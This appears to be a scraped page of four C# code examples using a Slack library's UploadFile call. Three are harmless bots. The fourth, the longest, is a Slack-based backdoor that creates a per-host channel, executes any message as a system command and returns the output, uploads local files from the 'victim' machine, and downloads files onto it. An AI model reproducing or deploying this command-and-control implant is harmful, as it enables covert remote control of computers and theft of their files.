Пример #1
0
        private void GetFileInfoCallback(FileInfoResponse fir)
        {
            if (fir.ok)
            {
                Console.WriteLine("Got File info.");

                if (fir.file.initial_comment.comment.Contains(client.MySelf.id) || fir.file.initial_comment.comment.Contains("faceswapperbot"))
                {
                    using (var webClient = new WebClient())
                    {
                        webClient.Headers.Add(HttpRequestHeader.Authorization, "Bearer " + config.botToken);
                        webClient.DownloadFile(fir.file.url_private, "srcFile." + fir.file.filetype);

                        var src = new Image <Bgr, byte>("srcFile." + fir.file.filetype);

                        var graySrc = src.Convert <Gray, byte>();   //Convert to gray scale
                        graySrc._EqualizeHist();                    //Equalize histogram for better detection
                                                                    //graySrc = graySrc.SmoothGaussian(25);     //Smooth the image with a gaussian filter
                        var faces = haarCascade.DetectMultiScale(graySrc);

                        var dest = src.ToBitmap();

                        //create graphics from main image
                        using (Graphics g = Graphics.FromImage(dest))
                        {
                            //Draw each new face on top of the old ones
                            foreach (var face in faces)
                            {
                                int faceIdx = rand.Next(faceImages.Count);
                                var newFace = faceImages[faceIdx];

                                var ratio      = (float)newFace.Width / newFace.Height;
                                var h          = face.Height;
                                var w          = (int)(face.Height * ratio);
                                var difference = (face.Width - w) / 2f;

                                g.DrawImage(faceImages[faceIdx],
                                            face.X + difference - (w * (float)config.upScalingFactor / 2f),    //faces are fitted aacording to their height, so we need to center them according to width
                                            face.Y - (h * (float)config.upScalingFactor / 2f),                 //we also center them according to their up scaling
                                            w * (1f + (float)config.upScalingFactor),                          //we increase the width and height of the new faces according to their up scaling
                                            h * (1f + (float)config.upScalingFactor));
                            }

                            //Save modified image to memory stream and upload it
                            using (MemoryStream ms = new MemoryStream())
                            {
                                dest.Save(ms, ImageFormat.Png);

                                client.UploadFile(FileUploadCallback, ms.ToArray(), fir.file.id + "_swapped." + fir.file.filetype, myChannels.Select(c => c.id).ToArray());
                            }
                        }
                    }
                }
            }
            else
            {
                Console.WriteLine(fir.error);
            }
        }
Пример #2
0
        public static void RenderToFile(Func <string, Task <string> > render)
        {
            var clientReady = new ManualResetEventSlim(false);
            var client      = new SlackSocketClient(token);

            client.Connect
                ((connected) => clientReady.Set()
                , () => { });
            client.OnMessageReceived += async(message) =>
            {
                var mentioned = SlackMessage.FindMentionedUsers(message.text);
                if (!mentioned.Contains(client.MySelf.id) || message.text.Contains("uploaded"))
                {
                    return;
                }
                var eq    = Regex.Replace(message.text, "^<@\\S+>", "");
                var image = await render(eq);

                client.UploadFile(r => { }, System.IO.File.ReadAllBytes(image), image, new[] { message.channel });
            };
            clientReady.Wait();
        }
Пример #3
0
        public void PostImage(string channelName, byte[] image, string filename, string title = null)
        {
            var channelId = GetChannelId(channelName);

            _client.UploadFile(response => { }, image, filename, new[] { channelId }, title);
        }
Пример #4
0
        static void Main(string[] args)
        {
            string slack_token = "xoxb-TokenHere"; //CHANGE THIS
            string oauth_token = "xoxp-TokenHere"; //CHANGE THIS

            string targetID = "";                  //This is to only accept messages sent through the created channel. Otherwise, any message received by the bot is to be executed.
            ManualResetEventSlim clientReady  = new ManualResetEventSlim(false);
            SlackSocketClient    client       = new SlackSocketClient(slack_token);
            SlackSocketClient    oauth_client = new SlackSocketClient(oauth_token);

            client.Connect((connected) => {
                // This is called once the client has emitted the RTM start command
                clientReady.Set();
            }, () => {
                // This is called once the RTM client has connected to the end point
            });
            client.OnMessageReceived += (message) =>
            {
                // Handle each message as you receive them
                if (message.bot_id == null && targetID == message.channel) //Only execute messages sent by users
                {
                    switch (message.text.ToLower().Split(' ')[0])
                    {
                    case "exit":     //Terminate the shell
                        client.PostMessage(null, message.channel.ToString(), "Channel Terminated!");
                        Thread.Sleep(20);
                        Environment.Exit(1);
                        break;

                    case "upload":     //Upload local files to Slack channel
                        string[] ch = new string[1];
                        ch[0] = message.channel.ToString();
                        try
                        {
                            string path = message.text.ToLower().Split(new[] { ' ' }, 2)[1];
                            client.UploadFile(null, System.IO.File.ReadAllBytes(path), System.IO.Path.GetFileName(path), ch);
                        }
                        catch (Exception e)
                        {
                            client.PostMessage(null, message.channel.ToString(), e.Message);
                        }
                        break;

                    case "download":     //Download files to the victim .. download [URL] [NameOfFile/Path]
                        string @remoteUri = message.text.Split(new[] { ' ' }, 3)[1];
                        string @fileName  = message.text.Split(new[] { ' ' }, 3)[2];
                        using (var down = new System.Net.WebClient())
                        {
                            try
                            {
                                remoteUri = remoteUri.Replace(">", "");
                                remoteUri = remoteUri.Replace("<", "");
                                down.DownloadFile(@remoteUri, @fileName);
                                client.PostMessage(null, message.channel.ToString(), "Downloaded successfully.");
                            }
                            catch (Exception e)
                            {
                                client.PostMessage(null, message.channel.ToString(), e.Message.ToString());
                            }
                            break;
                        }

                    default:     //Execute command if no keywords used
                        string output = Execute(message.text);
                        client.PostMessage(null, message.channel.ToString(), "```" + output + "```");
                        break;
                    }
                }
            };
            clientReady.Wait();

            string chan_name = (System.Net.Dns.GetHostName() + "_" + Environment.UserName).ToLower(); //Grab Hostname and Username for the channel name

            client.GetChannelList(null);
            var general = client.Channels.Find(x => x.name.Equals("general"));

            oauth_client.ChannelsCreate((response) => { //Create channel and assigne the targetID
                if (response.ok)
                {
                    client.PostMessage(null, general.id, "[+] Channel " + chan_name + " is created. Have fun :)");
                    targetID = response.channel.id.ToString();
                }
                else if (response.error == "name_taken")
                {
                    client.PostMessage(null, general.id, "[*] Channel " + chan_name + " is already exists.");
                    targetID = client.Channels.Find(x => x.name.Equals(chan_name)).id;
                }
                else
                {
                    client.PostMessage(null, general.id, "[-] Channel " + chan_name + " " + response.error.ToString());
                }
            }, chan_name);


            while (true)
            {
                Thread.Sleep(1000);
            }
        }